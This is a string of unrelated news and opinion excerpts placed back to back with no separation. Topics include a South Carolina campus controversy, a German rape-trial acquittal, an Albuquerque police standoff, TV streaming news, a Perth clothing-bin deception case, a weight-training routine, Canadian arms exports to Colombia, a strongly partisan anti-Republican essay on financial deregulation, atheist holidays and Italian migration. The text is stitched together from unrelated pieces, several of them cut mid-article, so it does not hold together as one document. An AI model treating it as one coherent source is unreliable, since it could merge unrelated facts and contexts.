“Higher education is becoming more about indoctrination and less about education,” he said.
Bryant and Bright were among 21 Senate and House members who voted against USC board members running unopposed during trustees elections this week because the Columbia flagship campus oversees Upstate.
Sen. State Mike Fair, who also sits on the Senate’s finance committee, said he voted against the trustees “to protest questionable campus activities at USC Upstate and the main campus.”
The Greenville Republican said he felt uncomfortable raising the issue because he loves the university, his alma mater where he was a starting quarterback and a trustee.
“It’s an absolute insult to the moms and dads who are paying for their children’s education at USC Upstate,” Fair said.
USC Upstate’s Bodies of Knowledge Symposium, slated for next Thursday and Friday, focuses on lesbian, gay, bisexual, transgender and other sexual orientation issues and has stirred a typically conservative section of the state.
The college – which hosts a national conference on child abuse and an undergraduate research symposium highlighting students’ work – did not intend to stir controversy with the symposium, school officials said.
The theme is “an optional opportunity (for students) to explore some of these topics which they probably would not get to in a class or in another type of organized workshop,” Toth said.
Much of the outcry was over the planned performance by Leigh Hendrix of “How to be a lesbian in 10 days or less,” a comical story about coming out as gay.
But some people took it as an instructive performance, instead of a comedy, USC Upstate spokeswoman Tammy Whaley said.
The event was cut after community and political uproar.
Sen. John Courson, chairman of the higher education senate finance subcommittee, said his panel has not discussed cutting funds to schools because of gay-themed programs. The Richland Republican said he had a problem with censorship on campuses.
“I don’t think we should as a legislature micromanage exactly what is being taught and discussed in college,” he said.
If legislators start picking on one group, they could move onto others, said Ryan Wilson, director of S.C. Equality, which advocates for gay, lesbian, bisexual and transgender South Carolinians.
Dass der Sex des 23 Jahre alten Türken aus Brandenburg/Havel gewalttätig und die Frau vier Stunden lang sein Opfer war, daran zweifeln Staatsanwalt und das Schöffengericht Brandenburg/Havel nicht. Dennoch wurde der 23-Jährige vom Vorwurf der Vergewaltigung freigesprochen. Die Juristen erkannten bei ihm keinen Vorsatz.
„Ich glaube Frau G. jedes Wort“, sagte die Richterin nach ihrem Urteilsspruch. Doch wahrscheinlich habe ihr Peiniger nicht gewusst, was er ihr antat, als er in der Nacht der 18. August 2016 in seiner Wohnung über seine Bekannte herfiel und den Geschlechtsverkehr über Stunden hinweg so rabiat vollzog, dass sie in den folgenden beiden Wochen nicht richtig laufen konnte. Das Schöffengericht glaubte einerseits dem Opfer, andererseits aber auch dem Angeklagten, demzufolge der wilde Sex einvernehmlich war.
Sie lehnte es ab, mit ihm ins Bett zu steigen
In jener Sommernacht hatte sich die Frau aus Plaue ins Stadtzentrum zur Wohnung des Gastwirtsohnes fahren lassen, von dem sie Drogen kaufen wollte. Die beiden jungen Leute konsumierten sehr schnell die Droge Speed. Seinen anschließenden Wunsch, mit ihr ins Bett zu steigen, lehnte sie ab. Er sei nicht ihr Fall, nicht ihr Typ, sagte die Zeugin vor Gericht aus.
Der junge Drogenverkäufer machte seiner Kundin dann noch Komplimente, zerrte sie am Arm, warf sie aufs Bett und zog sie aus. Ihre Schultern drückte er fest gegen die Metallstäbe am Kopfende seines Bettes, ihren Kopf klemmte er ein zwischen zwei dieser Stäbe. Die Frau schrie zwar „Aufhören“ und wehrte sich, indem sie den Angeklagten am Rücken kratzte. Doch irgendwann gab sie auf und ließ „es über sich ergehen, wie sie es ausdrückte. Mehrmals sei er in sie eingedrungen, die ganze Tortur habe nach vier Stunden geendet, als er einen Anruf erhielt und plötzlich fort musste, so dass auch sie gehen konnte.
„Schwerer Schlag“ für die Geschädigte
Staatsanwalt und Gericht haben keinen Zweifel daran, dass die sexuellen Handlungen jener Nacht nicht im Sinne des Opfers waren und dass er sie mit Gewalt genommen hat.
Doch die entscheidende Frage für den Ausgang des Strafprozesses war an die Zeugin, das Opfer, gerichtet: „Könnte es sein, dass der Angeklagte dachte, Sie seien einverstanden?“ Das könnte sein, ließ die Zeugin das Gericht wissen. Sie könne nicht beurteilen, ob er mit der Mentalität des türkischen Kulturkreises das Geschehen, das sie als Vergewaltigung erlebte, vielleicht für wilden Sex gehalten hat. Der Staatsanwalt räumte ein, dass der Freispruch ein „schwerer Schlag“ für die Geschädigte sein müsse. Andererseits sei eine Verurteilung nicht möglich, weil kein Vorsatz nachweisbar sei.
Vergewaltigungen werden relativ selten verurteilt
Der junge Angeklagte hatte von Beginn an bestritten, seine Bekannte vergewaltigt zu haben. Er sagte in seinem Schlusswort, dass er so etwas nicht tun würde, zumal er doch selbst eine Mutter und eine Schwester habe.
Vergewaltigungen führen vor deutschen Gerichten relativ selten zu Verurteilungen. Laut einer Studie von 2012 erlebten 8,4 Prozent der Frauen, die ihre Vergewaltigung angezeigt hatten die Verurteilung des Täter, berichtete Christian Pfeiffer vom Kriminologischen Forschungsinstitut Niedersachsen im Jahr 2014.
On 07/13/2017 at approximately 11:14 p.m., the Albuquerque Police Department received a call from a female advising she was in a physical domestic dispute with her boyfriend, Maximilano Villegas, and needed police assistance. Officers quickly arrived to the 3900 block of General Bradley St NE. As they arrived, the female caller was able to exit the residence with 2 of her children but was unable to take a 3rd child who was still in the residence with Villegas. Officers attempted to make contact with both Villegas and the child however they were not getting a response from either. Officers established a perimeter and called for additional resources for assistance. A short time later Villegas exited the garage armed with a rifle and with the 3rd child. The child was able to come out to officers and taken to safety however Villegas disregarded police commands and went back inside the residence still armed with the rifle. Due to Villegas being armed and refusing to exit the residence, the call was deemed a SWAT call out. SWAT and the Crisis Negotiation Team arrived and made many attempts to speak to Villegas and advised him exit peacefully. At one point Villegas made the decision to fire shots from inside the residence not only risking the lives of officers but also risking the lives of everyone in the neighborhood. Unfortunately one of the shots hit an officer posted at a perimeter post in the shoulder. The officer is a veteran officer of the department and was transported to a local hospital and is expected to be okay. Eventually just after 3 a.m. Villegas was taken into custody without further incident.
Speaking to IGN from the Jessica Jones premiere, Quesada was swift to downplay recent suggestions that Marvel might abandon plans for an Iron Fist series, instead slotting in Jon Bernthal’s Punisher as the fourth Defender . Without offering great detail, Quesada said simply:
‘Iron Fist’ is being worked on, that’s all I can say … Where did you read these rumors? Oh, they were on the internet? So they must be true!
When asked if audience reaction to Jon Bernthal’s Punisher might influence potential for his own series, Quesada played a bit more coy:
I think we’d love to see something happen, but it’s way too soon to tell, and we don’t necessarily like to discuss which metrics we use to decide these things. What I can tell you, is that anyone who is a hardcore Punisher fan is going to be blown away and incredibly satisfied by Bernthal’s take on Frank Castle. It’s one of those cases where it’s the character from the pages come to life.
Rumors that Marvel might shelve its Iron Fist series in favor of a Netlfix movie seemed dubious, though they were at least based on more credible reports that the creative team had some difficulty cracking a specific vision for the character, and his inherent mysticism. Other rumors have place Marvel’s Moon Knight in contention for a series , but should we expect Iron Fist news imminently?
The addition of “Pushing Daisies” is the network’s latest effort to build CW Seed, which launched as a digital-studio sandbox in 2013, into a bigger business with new licensed and original content. “Pushing Daisies,” which aired for two season on ABC from 2007-09, will be available exclusively on CW Seed’s new Roku app for two weeks to promote the launch on the device, before coming to the web, iOS apps and Google Chromecast.
The goal: to establish CW Seed as a branded destination for millennials to watch nostalgic TV series as well as originals — and drive up ad revenue.
“We’re using the borrowed equity of the CW brand and audience, and providing them shows from the past that have been unavailable to them before,” said Rick Haskins, The CW’s exec VP of marketing and digital strategies.
Earlier this month, CW Seed launched all four seasons of SoCal teen soap “The O.C.” and all 13 episodes of “The Ben Stiller Show” short-lived sketch comedy series that aired on Fox in the early ’90s.
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“Pushing Daisies,” “The O.C.” and “Ben Stiller” were each produced by Warner Bros. Television. The CW Network is a 50-50 joint venture of Warner Bros. Entertainment and CBS. Those join Seed’s current lineup, which includes cheerleading dramedy “Hellcats,” the 1990 adaptation of “The Flash” and improv show “Whose Line Is It Anyway?”
“We got requests for ‘The O.C.’ all the time, and the same with ‘Pushing Daisies,” Haskins said. “It’s really listening to the audience.” The shows have been available to purchase via digital-video services but until now have not be available on streaming services.
CW Seed also has more original shows in the pipeline. “The Elevator Talk Show,” a short-form series hosted by comedian Pete Holmes, is slated to launch Dec. 15; in each of the 40 episodes, Holmes interviews an up-and-coming comic during an elevator ride at the Just for Laughs festival in Montreal. Set for the first quarter of 2016 is “Saving the Human Race,” billed as a post-apocalyptic rom-com, and “Vampire! the Musical” (working title), from YouTube musical duo AVByte.
“Part of the pledge of CW Seed is reaching out and finding new talent,” Haskins said.
CW Seed now has a roster of about 40 advertisers. Haskins wouldn’t disclose viewing or financial figures, but said the service has doubled its audience in the past year. “I’m a little hesitant of taking my foot off the experiment pedal… but it has gotten a foothold into a business as opposed to an experiment,” he said. The network’s digital audience across CW Seed and TheCW.com has an average age of 22 versus 39 for on-air shows.
“Because we’re not SVOD, we’re free, we are gaining traction,” Haskins said. “For a millennial audience there’s an advantage to that.”
Compared with Sony Pictures Television’s Crackle — which also provides free, ad-supported premium entertainment — CW Seed relies on promoting shows through through Facebook fans of CW’s broadcast lineup. “We’re not spending a dime on advertising,” Haskins said.
Updated
A company that profited from used clothing bins by pretending to help poor African children will donate $100,000 to charity after admitting it "may have" misled the public.
E'Co Australia Pty Ltd and its managing director Mark Brian Keay settled out of court following legal action by Western Australia's Commissioner for Consumer Protection.
Along with the donation to charity, the organisation agreed to publish an apology in a newspaper advertisement.
E'Co Australia placed 300 clothing collection bins around the Perth metropolitan area between January and November in 2011, giving the impression it was a charitable organisation.
In many cases, the E'Co Kids bins were placed alongside those from legitimate charities.
The bins displayed text and images that implied the donated clothing, shoes and manchester would be given to poor children in Africa.
Instead the company was a commercial business which on-sold the clothing to a second-hand merchant in Africa for profit.
Charities raise alarm over clothing bin 'business'
Consumer Protection spokesman David Hillyard said the department found out about the E'Co Kids bins after other charities raised complaints.
Mr Hillyard said that after the department began investigating, it was approached by E'Co to see if the company could get a charitable collections licence, which was knocked back.
"It is strictly a money-making exercise... it's a business, it's a for-profit organisation," he said.
"Their business model is one that is used around the world in the recycling of clothing as a product line.
"They collect the clothing, clean it, wash it and then send it off to other markets and sell it.
"Our concern from the consumer protection perspective and from the charitable industries perspective is that they weren't making that clear to the people that were looking to leave clothing behind."
Mr Hillyard said the bins have been modified to make it clear E'Co is a profitable business rather than a charity, but they remain in the community.
WA's Consumer Protection Commissioner Anne Driscoll said the public had a right to know whether a collection bin was part of a business or a charity.
"Donors need to have confidence that their donations are benefiting the people or purpose that they believe are being supported," she said.
"Anyone engaged in misleading or deceptive conduct to take advantage of the generosity and goodwill of the community for commercial gain will risk legal action and potential damage to their reputations."
Topics: charities, consumer-protection, perth-6000
In an interview with MSNBC’s Ali Velshi, Pollak said MSNBC is doing better than CNN because people know they are getting left-leaning programming with their hosts.
“It’s not selling people a false product,” Pollak said. “When you go on MSNBC you know you’re talking to the left.”
“On CNN there’s this idea that they’re neutral, that they’re all sides, and nobody likes CNN because they know that’s a fraud,” Pollak said, “and what they’re getting on CNN is actually a political message dressed up as nonpartisanship.”
Pollak further explained that he believes “wearing your colors on your vest” can set reporters up for better journalism.
“Tell your viewers honestly, ‘yes we have a point of view but we’re going to be…accurate in our approach of the facts.'”
WATCH:
Under the scheme, universities will be judged on measures including student satisfaction, student retention rates and graduate job prospects to determine the quality of teaching. Those that fail to meet set standards will not be able to increase fees, in a measure intended to incentivise quality teaching.
Committee chair Iain Wright said UK universities have an outstanding international reputation.
“It’s vital that we capitalise on these strengths and not put the world-class status of our universities at risk by pushing ahead with a poorly implemented or rushed teaching excellence framework,” he stated.
“It’s better to get this major reform right than to get there quickly.”
The committee’s examination of the Higher Education Green Paper concluded there was support for the aims to improve teaching quality at universities, widen participation and increase the focus on graduate employability.
However, it called on a forthcoming consultation to respond to concerns that the first iteration of the TEF, due in 2017/18, may be too quick.
The vast majority of people who wouldn’t believe this is possible have likely been led to believe that on has to be on one of those typical high volume, high frequency routines that we see in every issue of the most popular muscle magazine.
The truth is, that the lion’s share of those routines would constitute overtraining for the average trainer with a fair metabolism.
Sure, it’s likely true that everything works for a while, but over time, the body can only handle so much before stagnating. Volume and frequency are two variables with an inverse relation: raising one, means lowering the other.
The volume and frequency are too much and there are typically too many single joint exercises in them as well. A drug free weight trainer (90%+ of those in any given gym at any time) cannot cope with the volume laid out in the average routine laid out by pro, non-naturally trained bodybuilders. (consider Arnold Schwarzenegger’s split routine).
What his books and the magazines alike don’t mention is that he (and most other professional bodybuilders like him) were or are on 3-4 drugs at any given time and didn’t have full-time jobs. There is no way that even the average intermediate trainer can recover from this volume.
The linked routine above is stereotypical of the same ones repeated ad nauseum in the main “muscle magazines”: too much of everything, too often, too many needless isolation exercises.
Most people we see in any gym trying to pack on muscle also have “real lives”. Daily work coupled with domestic responsibilities, recreational activities etc., all take their toll on the body’s recovery abilities (and never mind the huge stress that economic issues causes for the average person). Most pro bodybuilders do little else other than eat, sleep and train.
Add drugs to the mix and it is easy to see how following their advice is a sure-fire way to halt your progress and train yourself into the ground.
Even some of the most knowledgeable trainers today spend most of their time working with athletes, and often recommend training regimens that are too much for the average trainer who’s nervous system cannot fully recover from them.
Weight training to achieve optimal growth stimulation for the average trainer must be a) reasonably brief, b) intense, and c) infrequent. If you are looking to gain muscle while at the same time priming your metabolism, you must focus on compound multi-joint exercises.
Strength training that uses these basic compound exercises is also key to burning body fat and providing the base for “functional strength” that spills over into any athletic activity you do on the side, whether its playing football on the weekends, martial arts, or when its your moving day.
Weight training using heavy compound exercises like squats and deadlifts entails that you need to exercise less frequently because when you increase strength and size, your recovery ability (neurological adaptation) does not increase at quite the same rate, so one needs to keep in mind that proper recovery entails resting the nervous system fully more than it does resting the soft tissues.
Is Training Twice a Week Enough? What the Research Found
As it turns out, there is research that suggests that the difference between training with weights twice a week or three times a week is negligible. A recent study compared weight training twice a week with three times a week workouts in adults over age 60:
Chest press strength increased in both the 2 times/week and 3 times/week groups over the 8-week training period by 20.84% and 20.18%, respectively. Lower-body (leg press) strength also showed improvements in both groups: 22.34% in the 2 times/week group and 28.12% in the 3 times/week group. There was a slight, but nevertheless significant gain of lean body mass from pre- to post-training (2.4% and 1.9% for the 2 days and 3 days groups, respectively). However, functional performance remained unchanged in the groups. We found that short-term resistance training 2 times/week or 3 times/week elicited comparable muscle strength and lean body mass adaptations in older adults.
The maxim “less is more” applies to many things, especially weight training. It is a myth that you need more than one exercise per “body part” if you are training heavy with enough intensity.
A large part of our efforts are wasted with added sets of unnecessary exercises. “Pareto’s Principle”, also called the 80–20 rule, states that, for many events, roughly 80% of the benefits come from 20% of the efforts.
Focusing on progressing your strength on the basic exercises, using compound movements with proper form, eating a slight surplus of calories and protein while limiting empty calories and garbage like refined/processed foods, finding time to rest properly, getting enough sleep, being consistent and most importantly believing in yourself to become the best possible you.
That, coupled with the routine below – is all you need to grow and get stronger more than you ever thought possible. Consistency and intensity of effort, over time, will reap rewards for you that you’ve never thought possible. Its the slow and steady that wins the race.
Why An Upper-Lower Split?
For minimalist training I generally favor an upper lower split for several reasons. One, you are less likely to get overuse injuries, since all the movements which stress the same joints/connective tissues are generally hit on the same days.
For example, when doing the lower body day, its squats and deadlifts which will stress the knees and lower back.
On upper days, all the heavy bench pressing and overhead press will strain the anterior delts and triceps tendons, respectively. Hitting them all on one day and then having an extended rest period will allow you to hit them harder the next time, because you will have maximized recovery in those areas.
Contrast that with the famous 5×5 routines which have you squatting and benching on one day, and the 48 hours later, you are deadlifting and overhead pressing. See what I mean? Every 48 hours you are nailing the shit out of your triceps tendons, shoulders, knees, and lower back.
I favor this type of training for beginners because they a) have better recovery ability since they are usually younger athletes, and b) beginners will typically not be strong enough to be moving serious enough weight to start tearing things.
When you have been training for some years, or are an older trainer starting out, it is highly advisable to use an upper-lower split for the above reasons.
The 2 Day a Week Minimalist Power and Bulking Routine:
Lower – Mondays
Squat – 3×5 (followed by 3×15 with 50% 1RM)
Step-Ups, Split Squats, or Lunges – 3×10
Stiff-legged Deadlift – 3×8 (followed by 2×10 50% 1RM)
Calf Raises 3×15
Hanging Leg Raises (pikes) 3×10
Upper – Thursdays
Close to Medium Grip Bench Press – 3×5 (followed by 3×15 with 50% 1RM)
Overhead Press 3×5 (followed by 3×15 with 50% 1RM)
Kroc Rows (elbow out) 3×15
Pullups or Chinups 3xFailure
DB Curls 3×12
The Parameters:
The routine is to be done with a minimum of 2 days off in between sessions, on a one on, two off rotation.
3 sets (so called “working sets”) of 5 reps are to be done, not counting warm-up sets!
Where specified, there are 3 sets of 15 done with 50% of your one rep max. These “down sets” will facilitate hypertrophy
When it is possible to do a 7th rep on the last set, raise the weight
Strive to raise the weight regularly
Schedule a “deloading week” every 4th – 6th week, where the weight is dropped 20-25% on every exercise for that week
Throw in 2 days a week of energy systems training like skipping, sprinting, running stairs and work on flexibility. It might not be a bad idea to hit yoga 3x a week and then do 15-20 minutes of cardio after.
What to Avoid:
Adding exercises. Believe me, there is more than enough work here to build big arms!
Adding extra sets and reps. Ditto. There is more than enough here with 3×5 on all the exercises.
Not resting enough in between sessions. This routine will work best for most people done on a one on, two off rotation. Especially for old guys like me!
The Benefits:
You can expect increase in your basal metabolic rate
You will loose bodyfat, getting leaner you gain muscle
You will have more free time which will pay off in opportunity cost alone
You will notice improved energy levels
Being an upper-lower split, you will gain a more proportionate, athletic build
You will have more time on your off days to pursue other activities, like energy systems training, GPP, MMA, sports etc. Imagine the shape you would be in doing MMA or other martial arts, boxing or similar 2-3 times a week and hitting the weights with this routine twice a week!
I firmly believe that besides the excellent push pull legs routine, this routine, is the most productive one I have ever used.
Canada quietly eased its ban on the export of assault-style weapons to Colombia after Foreign Affairs Minister John Baird recommended an order amending the Automatic Firearms Country Control List (AFCCL).
That opened the door for Canadian gun merchants to sell fully automatic weapons with high-capacity magazines — banned in Canada — to Colombia.
"Colombia's addition to the AFCCL opens new market opportunities by providing residents of Canada with the opportunity to explore and compete for contracts in Colombia for items controlled under the AFCCL," says a government notice, posted Tuesday.
The amended order places restrictions on the permits required for the weapons exports, including a case-by-case review by Ottawa.
'Very strict controls'
The notice says that Canadian weapons exporters will face "very strict controls" under the Export and Import Permits Act before they will be allowed to export "prohibited weapons and prohibited devices (as defined in the Criminal Code of Canada), examples of which include fully automatic firearms, electric stun guns and large-capacity magazines."
The change went into effect on Dec. 13, one day before a gunman walked into Sandy Hook Elementary School and killed 20 first-graders and six school employees, sparking fresh debate about gun control in the United States.
Canada recently completed a controversial free trade deal with Colombia, which has been plagued by a half century-long guerilla insurgency, serious human rights abuses and its emergence as a world leading cocaine producer.
Colombia is gradually overcoming its violent legacy, becoming relatively more peaceful, while developing one of the fastest growing economies in the Americas.
The Harper government's pursuit of a free trade deal with Colombia was opposed by rights groups, but the deal was ultimately approved in 2011.
Now, Colombia has been added to a list that includes Canada's 27 NATO allies, along with Australia, Finland, New Zealand, Saudi Arabia, Sweden and Botswana, where prohibited firearms manufactured in this country may be sold.
"The amendment to the AFCCL will formally add Colombia to the list of countries that the Governor in Council deems appropriate to export prohibited firearms, prohibited weapons and prohibited devices and to which the Minister of Foreign Affairs may issue an export permit for such items," the notice says.
"The inclusion of Colombia on the AFCCL does not guarantee that a permit will be issued for the export of these items and all applications will remain subject to the Government of Canada's case-by-case review process."
In October, Foreign Affairs, along with the Defence and Justice departments, conducted a public consultation over the internet on the possibility of adding Colombia to the list.
There were three responses.
One favoured the addition of Colombia, while two were opposed.
The two objectors "cited concerns relating to the long-time armed conflict and human rights issues within Colombia as the reasons for their objection," says Tuesday's notice.
Objections dismissed by foreign affairs
Foreign Affairs dismissed the objections after conducting an analysis.
"This consultation process included a review of multiple issues, including a review of potential human rights and existing conflicts issues," says the notice.
"As stated previously, the addition of a country to the AFCCL does not guarantee that an export permit will be issued. All applications are reviewed on a case-by-case basis, including a review of any human right concerns."
Canadian arms manufacturers will now be able to submit applications to export the banned weapons to Colombia.
The government notice says the amendment is "consistent with the aim of the AFCCL to promote transparency in the export and transfer of prohibited firearms, prohibited weapons and prohibited devices by making public that Canada will now consider export permit applications for the export of those items to Colombia."
Colombia has endured half a century of violence, pitting its U.S.-backed government forces against a leftist guerilla insurgency led by the Revolutionary Armed Forces of Colombia (FARC).
Despite its impressive economic growth, Colombia continues to suffer from serious human rights violations. For example, more union leaders are killed in Colombia than anywhere else.
The Colombian justice system is clogged with more than 1,700 cases involving extra-judicial executions that have claimed the lives of 3,000 people, most from the last decade.
In late November, the Conservative government repealed Canadian gun show regulations, a move that Ontario's chief firearms officer has said could bring American-style gun-show problems to Canada.
The regulations would have required the sponsor of a gun show to notify local police and the chief firearms officer of the province before an event, and to ensure the security and safety of the location and the firearms.
It is not often, if ever, that a government gets the opportunity to track documented events that lead to devastation on a massive scale, and then have tools at their disposal to ensure a horrendous recurrence will never decimate its citizens’ lives again. After the collapse of the financial sector in 2008, President Obama and Democrats took what were arguably critical steps to guarantee American financial institutions and Wall Street could never destroy America and the world’s economy through unregulated use of derivative trading by enacting financial reform. Republicans claimed the steps were vicious government overreach holding back unrestrained banking profits regardless the reforms protected the nation’s economic health and the population’s ability to survive after Bush-Republicans eviscerated America’s economy. Leading up to the 2010 midterm elections, President Obama warned the American people that giving Republicans control of Congress was tantamount to granting them permission to drive the economy into the ditch, and his words were nothing short of prophetic.
Over the past two weeks, Republicans, with the assistance of a distressing number of Democrats, quietly took steps to re-deregulate derivative trading by eliminating crucial aspects of the 2010 financial reform bill (Dodd-Frank) to allow Wall Street and the financial sector to revisit and repeat the precise steps they took in creating the worst financial disaster since the Great Depression. In a typical Republican rebranding to give the financial sector free rein to rape and pillage the American and world economy, House Republicans labeled a deregulatory measure “job creation” and convinced doe-eyed Democrats to help erase aspects of 2010’s financial reform that assured Americans they can expect another economic crash so the wealthy can prosper when they reap all the profits from the next Democratic President’s recovery efforts. Unsurprisingly, main stream media kept the devastating move out of the public’s glaze as corporate-driven media stands to profit from the next financial bailout and recovery efforts while more Americans slip into poverty, lose their retirement savings, jobs, and homes that will dominate weeks’ worth of news’ cycles and headlines for years.
The move by Republicans was part of a slate of deregulatory bills to roll back recent financial reforms and deregulate complex financial products (derivatives) that created the 2008 financial crisis. Unfortunately, the deregulatory legislation targeting financial regulation (Dodd-Frank) had broad bipartisan backing, with one bill passing despite vigorous objections from the White House, leading regulators, and senior Democratic lawmakers on the House Financial Services Committee. Nearly two-thirds of House Democrats opposed the measure which aims to eliminate U.S. supervision of overseas activities by U.S. banks, even though nearly two-thirds of them on the banking committee voted for it last month. The good news is that the measures will likely fail in the Senate and President Obama’s veto, but it increases pressure on the Commodity Futures Trading Commission to bow to Republican demands because they are wholly dependent on House Republicans for funding.
The Republican deregulatory measure explicitly restricts the Commodity Futures Trading Commission and Securities and Exchange Commission from supervising overseas swaps trading by U.S. institutions meant to protect government and taxpayers who will ultimately pick up the tab when unsupervised trading leads to the same massive losses the world and nation’s economies suffered during the last Bush-Republican deregulatory frenzy. The Republican move is precisely what President Obama warned Americans would happen if they gave Republicans the keys to the economy again and portends America is bound to suffer another, more devastating, financial meltdown within a few years of the President’s masterful economic recovery maneuvers opposed by Republicans every step of the way.
What should be no surprise to any American with more than an amoeba’s brainpower is that the largest and most powerful American financial groups enthusiastically support, and likely pay handsomely for, the deregulation measures because the secretive swaps trading is among the most lucrative for the financial sector and Wall Street. The banking industry use swaps to hedge their risk and speculate on financial markets’ movements such as on interest rates and creditworthiness to the tune of more than $30 billion in annual profit. Profit, by the way, that flows directly to the wealthy and corporate banking sector that continues Republicans’ thirty year effort of wealth increase for the one-percent as regular Americans continue suffering declining incomes and assets Republicans are systematically transferring directly to their wealthy campaign donors.
Over the past couple of years many pundits attributed Republican economic ideology to insanity borne of “doing the same thing over and over again and expecting different results,” but Republicans know exactly what the results of deregulating the financial sector will be. It has been less than ten years since Bush-Republicans deregulated the financial sector that drove the nation into the worst economic disaster since the Great Depression, and they are on a crusade to repeat the disaster again to enrich their masters in the banking, Wall Street, and corporate finance industry regardless the catastrophic effects on the American people. As a reminder, the last deregulatory enterprise cost tens-of-millions of Americans their jobs, their homes, and their life-long retirement savings that Republicans are on a tear to repeat as well as transfer Americans’ Social Security retirement accounts to epic failure 401Ks many retirees lost in the last Republican crash.
There is no other way to describe what Republican intentions are in repeating the same deregulation frenzy except to deliberately destroy the American economy once and for all to allow their wealthy supporters the opportunity to step in and buy the United States lock, stock, and barrel. After sitting back and observing Republicans repeat the rest of the world’s economic mistake of imposing austerity during a recovery to devastating effect on growth, unemployment, and social programs, and celebrating a job-killing sequester the International Monetary Fund (IMF) just cited as the reason they cut America’s 2014 growth forecast because of “excessively rapid and ill-designed government spending cuts,” there is no other conclusion but that Republicans want America to fail and are taking steps to hasten its demise.
Interestingly, the IMF specifically cited policy recommendations proffered by President Obama, and rejected out-of-hand by Republicans, to “repeal the sequester cuts and adopt a more balanced and gradual pace of fiscal consolidation” because the “automatic spending cuts exert a heavy toll on growth in the short term, and the indiscriminate reductions in education, science, and infrastructure spending will certainly reduce medium-term potential growth.” Now, it is glaringly obvious that not only are Republicans intent on prohibiting job creation and potential growth, they are Hell-bent on recreating the same environment and conditions that allowed one of their primary funding mechanisms to all-but destroy the nation’s economy in 2008, and have the audacity to give them the same tools to repeat their devastation again under the tired meme of “job creation.”
In mid-August, Romney held a commanding 40-point lead over Obama among white working-class voters in the South (62% vs. 22%). However, neither candidate held a statistically significant lead among white working-class voters in the West (46% Romney vs. 41% Obama), Northeast (42% Romney vs. 38% Obama), or the Midwest (36% Romney vs. 44% Obama).
The report amplifies some of the findings I discussed in my “zombie” post—not only how different the white working class is within and outside the South, but how much more social issues affect the political choices of the white college-educated more than the white working class.
Along with Tom Edsall, I provided some comments on the report at a PRRI event last week. One irony struck me. In my experience, the white working class gets a ton of attention, especially when elections come around. It probably gets more attention that it deserves—particularly since its diversity means it’s that hardly a monolithic voting bloc and since there are lots of ways to build a winning electoral coalition in American politics with varying degrees of support from the white working class.
But when we discuss the white working class during elections, another fact rarely raises its head: the enormous inequalities in political voice that arguably marginalize the white working class when it comes to policy-making. These inequalities are evident in Martin Gilens’ research, as well as the important new book The Unheavenly Chorus, by Kay Schlozman, Sidney Verba, and Henry Brady. Political participation remains highly stratified by social class and, moreover, only the views of the upper class appear to affect whether policies are enacted in law.
The Institute for Humanist Studies, an Albany, N.Y.-based nonprofit, is calling attention to its calendar of atheist holidays on its Web site, www.secular seasons.org. The group wants nonbelievers (or at least people who don’t celebrate religious holidays) to have a handy reference guide of the calendar of holidays honoring free-thinkers, banned books and nature, among other themes.
Matt Cherry, executive director of the Institute for Humanist Studies, said his group is trying to expand options and alternatives for secular holidays. He said he hopes even people affiliated with a particular religion will consider the options.
“Some religious holidays are about culture and tradition, not theology,” he says. “Even people who go to church only on Christmas or to synagogue on the High Holidays do so out of cultural heritage, not because they believe the religious doctrines associated with it.”
Some of the highlights of the Secular Seasons calendar include Thomas Paine Day (Jan. 29), April Fool’s Day (as always, April 1), and Ingersoll Day (Aug. 11) — which celebrates the birthday of 19th-century thinker Robert Green Ingersoll, who was known as “the Great Agnostic.” Secular Seasons recommends visiting his birthplace in Dresden, N.Y., for a holiday celebration. (Hey — you live only once.)
The site also breaks down the customs of Festivus, the holiday popularized by Jerry Stiller on “Seinfeld.” In that episode, a Festivus pole is plain aluminum, made to contrast with the ornate Christmas trees; the official greeting is “Happy Festivus”; and each person complains to family and friends how they have disappointed the complainer in the past year.
Mr. Cherry said Darwin Day (Feb. 12) is growing in popularity. Charles Darwin’s 200th birthday is in February 2009, and next year also will be the 150th anniversary of the publication of his book “The Origin of Species.”
Honoring the man who helped us understand science and humanity is a reason to celebrate, said Mr. Cherry. His recommendations: Throw caution to the wind and attend a biology lecture or even have folks bring fossils to a party.
“This year, there will be almost 1,000 events for Darwin Day around the world,” he said. “I hope Hallmark would come out with a card. There are lots of photos to celebrate evolution.”
William J. Murray, chairman of the Religious Freedom Coalition, a Washington nonprofit, said the United States already has plenty of made-up holidays.
“We’ve got Valentine’s Day, although that actually is a saint’s holiday,” he said. “We’ve got Mother’s Day, Father’s Day. If someone wants to make up a holiday, they can be my guest — as long as they are not going to impose that holiday on the vast majority of us who celebrate religious holidays.
“There is no smaller minority in this country than atheists,” said Mr. Murray, son of the late Madalyn Murray O’Hair, who was once the nation’s best-known atheist and from whom he became estranged when he embraced Christianity. “The proposition of [atheist holidays] is in itself ridiculous.”
The recently released Pew Forum U.S. Religious Landscape Survey found that 16 percent of Americans consider themselves unaffiliated. However, most of that number (12 percent) said they were “nothing in particular,” as opposed to the 1.6 percent who said they were atheist. Christians of various denominations make up the largest segment at 78 percent.
Meanwhile, Mr. Cherry and Secular Seasons are seeking suggestions from the public on holidays to add to the calendar.
“We’ve gotten more ideas for free-thinkers to be celebrated,” said Mr. Cherry.
Among them: Jawaharlal Nehru, India’s first prime minister; Mexican revolutionary statesman Benito Juarez; and Mustafa Kemal Ataturk, first president of modern Turkey.
Also suggested was an expanded observance of Cosmonautics Day, the Russian holiday on April 12 that celebrates Yuri Gagarin’s first manned space orbit.
Since you just missed it, put the vodka and caviar away and get fired up for National Day of Reason in May, organized a few years ago to counteract the National Day of Prayer. Common customs: a day of care to help the elderly or disabled, and a blood drive.
Just don’t expect a church service, or candy.
One more thing not to expect with atheist holidays: parades featuring pandering politicians trolling for votes.
Now that’s cause for celebration.
Italy has threatened to stop vessels of other countries from bringing migrants to its ports.
The warning came as Italy's EU representative, Maurizio Massari, warned in a letter to the bloc the situation had become "unsustainable".
Prime Minister Paolo Gentiloni has accused other European nations of "looking the other way".
An estimated 10,000 people are believed to have attempted the journey from North Africa in the past four days.
More than 73,000 migrants have landed in Italy this year, an increase of 14% on the same period last year.
Some 2,000 have died or are missing feared drowned, the UN's refugee agency says, the vast majority attempting the crossing from Libya.
Libya is a gateway to Europe for migrants from across sub-Saharan Africa and also from the Arabian peninsula, Egypt, Syria and Bangladesh. Many are fleeing war, poverty or persecution.
Why is Italy reacting now?
The Italian coastguard takes the lead in co-ordinating rescue operations but many of the vessels run by non-profit groups sail under the flags of other nations including EU countries like Germany and Malta.
Media playback is unsupported on your device Media caption This video from May shows the coastguard rescuing a migrant clinging to a ship's rudder
